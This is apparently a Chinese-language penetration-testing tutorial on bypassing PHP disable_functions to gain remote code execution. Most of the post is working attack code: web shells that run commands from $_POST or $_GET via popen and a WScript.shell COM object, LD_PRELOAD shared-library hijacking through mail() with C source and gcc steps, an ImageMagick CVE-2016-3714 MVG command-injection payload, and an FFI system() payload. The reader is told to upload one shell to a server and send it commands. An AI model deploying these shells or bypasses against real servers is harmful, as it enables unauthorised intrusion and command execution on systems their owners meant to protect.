RCE函数黑名单绕过:

1.exec/shell_exec (执行系统命令,无回显)

<?php
echo (exec/shell_exec('whoami'));
?>

2.system/passthru (执行系统命令,有回显)

<?php
passthru/system('whoami');?>

3.popen (popen ( string $command , string $mode ) )
作用:创建一个管道,fork一个子进程来执行传入的command命令。并在正常的情况下返回I/O流,管道由pclose手动关闭.

<?php$command=$_POST['cmd'];
$handle = popen($command , "r");
while(!feof($handle))
{ echo fread($handle, 1024); //fread($handle, 1024);
}
pclose($handle);?>

4.proc_open ( proc_open ( string $cmd , array $descriptorspec , array &$pipes )
可以看作是popen的强化版.
作用:创建一个管道,fork一个子进程来执行传入的command命令,$descriptorspec控制子进程文件描述符符,$pipes是数组,其元素是返回的I/O流(索引0,1,2代表对于文件描述符的I/O流)

$descriptorspec写法
$descs = array(
0 => array( 'pipe' , 'r' ) , #输入
1 => array( 'file' , 'output' , 'w' ) , #输出,可以为管道(pipe)或文件
2 => array( 'file' , 'errors' , 'w' ) #错误日志,可以为管道(pipe)或文件
);
<?php
$command="ipconfig";
$descriptorspec = array(1 => array("pipe", "w")); //标准输出定位到管道
$handle = proc_open($command ,$descriptorspec , $pipes);
while(!feof($pipes[1])) //管道索引1代表子进程的标准输出(通过$descriptorspec定义)
{ echo fread($pipes[1], 1024); //fgets($pipes[1],1024);
}?>

LD_PRELOAD与putenv 绕过

LD_PRELOAD这个环境变量定义的动态链接库会比其他动态链接库先被调用.
putenv(“环境变量名”=”value”) php代码里用于设置环境变量的函数
动态链接库(.so文件): 命令在运行时会进行系统调用,从共享链接库里调用代码.动态链接库是共享链接库的一种,其里面一般都是.so文件
关于系统调用,链接库等等知识放在另一个文章 www.const27.com

利用php代码里的mail函数达到绕过目的

通过strace查看php里的mail函数,发现其调用了 linux里的sendmail指令

execve("/usr/bin/php", ["php", "test.php"], [/* 20 vars */]) = 0
[pid 23864] execve("/bin/sh", ["sh", "-c", "/usr/sbin/sendmail -t -i "], [/* 20 vars */]) = 0
[pid 23865] execve("/usr/sbin/sendmail", ["/usr/sbin/sendmail", "-t", "-i"], [/* 20 vars */]) = 0

发现其调用了sendmail,那么sendmail调用了什么?可以很清楚的看到它调用了很多命令,那么我们思路如下:
创建一个动态链接库,定义一个同名命令(植入payload),并在之后把它放在LD_PRELOAD里优先调用,这样只需执行调用了mail函数的php文件,再又mail函数调用sendmail命令,再由sendmail命令优先调用我们重写的命令,即可绕过disable_functions.

QQ截图20210219154527

我们这里重写getuid命令:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("ls / > /tmp/sky"); //payload
}
int geteuid()
{
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}

然后将他编译为动态链接库

gcc -c -fPIC hack.c -o hack
gcc --share hack -o hack.so

接下来运行PHP脚本

<?php
putenv("LD_PRELOAD=./hack.so");
mail('','','','');
?>

执行一下,可以发现payload确实被执行了

QQ截图20210219154617

mail函数更广的攻击面: attribute ((constructor))

如果我们的linux里没有sendmail指令了呢?这个时候就要用到 attribute ((constructor)) 了

attribute ((constructor)) :加载共享库时就自动运行,通常再程序启动时运行(有点类似魔术函数?哈哈)
c语言代码:

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("ls");
}

LD_PRELOAD指定一下该so,执行PHP程序,可见payload确实被实现了

脏东西:使用蚁剑 disable_functions绕过插件

蛮无脑的,把这个插件开了就完事了

ImageMagick漏洞(CVE-2016-3714)

参考 https://www.leavesongs.com/PENETRATION/CVE-2016-3714-ImageMagick.html

何为ImageMagick

简而言之,就是一个处理图片的程序。

RCE

ImageMagick有一个功能叫做 delegate(委托),作用是调用外部的lib处理文件。
在ImageMagick的配置文件 /etc/ImageMagick/delegates.xml 可以看到所有的委托(自己去看)

它的委托一般是长这样的,意思是在处理https图片时,会调用command的里的指令.command里的%m代表一种占位符,%m占位符代表获取https图片的url(当然占位符不仅仅%m一种,还有 比如%i是输入的文件名,%l是图片exif label信息 等等等等)

<delegate decode="https" command=""curl" -s -k -o "%o" "https:%M""/>

ImageMagick默认支持一种图片格式,叫mvg,而mvg与svg格式类似,其中是以文本形式写入矢量图的内容,而这其中就可以包含https处理过程。 所以我们可以构造一个mvg文件(文件名后缀不一定非得.mvg,imagemagick是按照文件内容来区分文件类型的)交给imagemagick处理,在其包含https处使用|或&分割命令,造成rce,如

push graphic-context
viewbox 0 0 640 480
fill 'url(https://"|mkdir /nmsl; ")'
pop graphic-context

上面是mvg的一种格式,其中在fill处填入https的url.

实践

QQ截图20210217152837

QQ截图20210217152846

ffi rce

适用版本:php>7.4
需要: FFI support = enable ,(开启ffi)
opcache.preload 启用. (指定将在服务器启动时编译和执行的PHP文件,文件中定义的所有函数和大多数类都将永久加载到 PHP 的函数和类表中,并在将来的任何请求的上下文中永久可用)。 (极大拓宽ffi rce攻击面)

ffi是php>7.4新增的一个东西,简而言之就是一个可以在php里调用c语言代码的接口.

https://www.php.net/manual/en/ffi.examples-basic.php 官方文档

我们的payload雏形一般是这样

$ffi=FFI::cdef{
"int system(char *format);"
};
$ffi->system(command);

找个机会让服务器调用FFI就可以了,这样就可以绕过disable_functions了

利用Windows系统组件COM绕过

需求: windows系统,且system32目录下存在wshom.ocx
php.ini里com.allow_dcom=true
php.ini里extension=php_com_dotnet.dll(没有的话自己加上)

正确配置后,在phpinfo中看,这样就算配置好了环境

QQ截图20210219155029

ban掉函数

QQ截图20210219155038

.这种情况我们来绕绕disable_functions

<?php
$command = $_GET['cmd'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

找个机会把这个脚本传到服务器上,然后访问它,cmd传命令就可以了

QQ截图20210219155052